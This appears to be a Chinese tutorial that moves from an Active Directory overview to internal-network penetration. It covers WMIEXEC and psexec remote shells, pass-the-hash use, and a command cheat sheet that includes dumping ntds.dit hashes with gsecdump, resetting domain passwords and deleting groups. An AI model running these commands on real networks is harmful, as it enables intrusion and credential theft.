Active_Directory

Active Directory(活动目录)

Active Directory(简称AD。)是微软Windows Server中,负责架构中大型网路环境的集中式目录管理服务(Directory Services),在Windows 2000 Server开始内建于Windows Server产品中,它处理在组织中的网路物件,物件可以是使用者,群组,电脑,网域控制站,邮件,设定档,组织单元,树系等等,只要是在Active Directory结构定义档(schema)中定义的物件,就可以储存在Active Directory资料档中,并利用Active Directory Service Interface来存取。

目录结构

Active Directory(AD)以树状的资料结构来组成网路服务的资讯,在简单的网路环境中(例如小公司),通常网域都只有一个,在中型或大型的网路中,网域可能会有很多个,或是和其他公司或组织的AD相互连结(此连结称为信任关系)。

物件

Active Directory的最小储存单元为物件(object),每个物件均有自己的schema属性,可以储存不同的资料,像是使用者、群组、电脑、信箱或其他的基本物件等。

一个网域底下的基本物件有:

  • Domain Controllers,储存网域所属的网域控制站(简称DC、域控)。
  • Computers,储存加入网域的电脑物件。
  • Builtin,储存内建的帐户群组。
  • Users,储存AD中的使用者物件。

域与活动目录的关系:

  • 域是一种逻辑的组织形式;
  • 活动目录是实现域的方法
  • 活动目录是域的基础

WMIEXEC

内网渗透中经常用到psexec这个工具,可以很方便的得到一个半交互式的cmd shell。

psexec 首次执行需要验证,这在Shell中使用起来非常不便,可以使用如下命令,避免出面上述问题

1
psexec /accepteula

但是psexec也有一些问题:psexec需要对方开启ADMIN$共享,而且需要安装服务,安装服务会留下明显的日志;另外,psexec退出时有可能服务删除失败。

WMI可以远程执行命令可以用VBS脚本调用WMI来模拟psexec的功能。

WMIEXEC支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

WMIEXEC需要提供账号密码进行远程连接,但是如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用WMIEXEC即可。

半交互式shell模式

1
cscript.exe //nologo wmiexec.vbs /shell 192.168.72.14 username password

单个命令执行的模式

1
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"

下载地址: wmiexec v1.1.rar

常用命令

命令 说明
echo 查看系统版本位数
set 查看系统环境变量
netstat -ano 查看开放端口
ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localhroup administrators 本机管理员[通常含有域用户]
net user /domain 查询域用户
net user 用户名 /domain 获取指定用户的账户信息
net user /domain b404 pass 修改域内用户密码,需要管理员权限
net group /domain 查询域里面的工作组
net group 组名 /domain 查询域中的某工作组
net group “domain admins” /domain 查询域管理员列表
net group “enterprise admins” /domain 获得企业管理员列表
net group 组名 /del /domain 删除域中的某组
net group 组名 组成员名 /del /domain 删除域中的某组的组成员
net localgroup administrators /domain 登录本机的域管理员
net group 组名 /add 增加域中的组
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net group “domain controllers” /domain 查看域控制器(如果有多台)
net time /domain 判断主域,主域服务器都做时间服务器
net session 查看当前会话
net use \ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]
net view 查询同一域内机器列表
net view /domain 查询域列表
net view \ip 查询某IP共享
net view /domain:test 查看test域中计算机列表
net view \DC的机器名字 查看域控共享情况
net use z: \192.168.200.21\文件夹名 建立映射到本机Z盘
net share 查看SMB指向的路径[即共享]
at \192.168.200.21:50 c:\windows\xx.exe 在共享主机上执行
nltest /domain_trusts 获取域信任信息
net start 查看当前运行的服务
net time /domain 查询主域服务器的时间
net time \192.168.200.21 查看192.168.200.21机器的时间
echo %logonserver% 查看登陆到这台服务器的计算机
net accounts 查看本地密码策略
nbtstat –A ip netbios 查询
netstat –an/ano/anb 网络连接查询
netsh firewall show config 查看防火墙策略
netsh firewall show state 查看防火墙策略
route print 路由表
tracert IP 路由跟踪
arp -a 列出本网段内所有活跃的IP地址
arp -s (ip + mac) 绑定mac和IP
arp -d (iP + mac) 解绑IP和Mac
tasklist /V 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
psexec \192.168.200.21 -u administrator -p b404pass -c gsecdump.exe -u 从域服务器密码存储文件windows/ntds/ntds.dit导出hash值出来
gsecdump -a 获取域登管理员登录过得hash值,这里gescdump为第三方导出AD域的hash值
tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程
tasklist /svc 查看进程
taskkill /im 进程名称(cmd.exe) 结束进程
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
ping 主机名 显示IP
qprocess * 类似tasklist
qprocess /SERVER:IP 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com 查看邮件服务器
whoami /all 查询当前用户权限等
systeminfo 查看系统信息
qwinsta 查看登录情况
qwinsta /SERVER:IP 查看远程登录情况
fsutil fsinfo drives 查看所有盘符
gpupdate /force 更新域策略

dsquery的AD查询工具

命令 说明
dsquery user domainroot -limit 65535 && net user /domain 列出该域内所有用户名
dsquery contact 寻找目录中的联系人
dsquery subnet 列出该域内网段划分
query user 查询那些用户在线
dsquery group && net group /domain 列出该域内分组
dsquery ou 列出该域内组织单位
dsquery server && net time /domain 列出该域内域控制器
dsquery site -o rdn 搜索域中所有站点的名称
psloggedon.exe 查询那台主机和用户登录到该主机上
netsess.exe //192.168.1.115 远程主机上无需管理员权限,查询到主机名和用户
reg query “HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\TERMINAL SERVERCLIENT\DEFAULT” 获取最近mstsc登录的记录

更多命令查看: 《内网命令大全》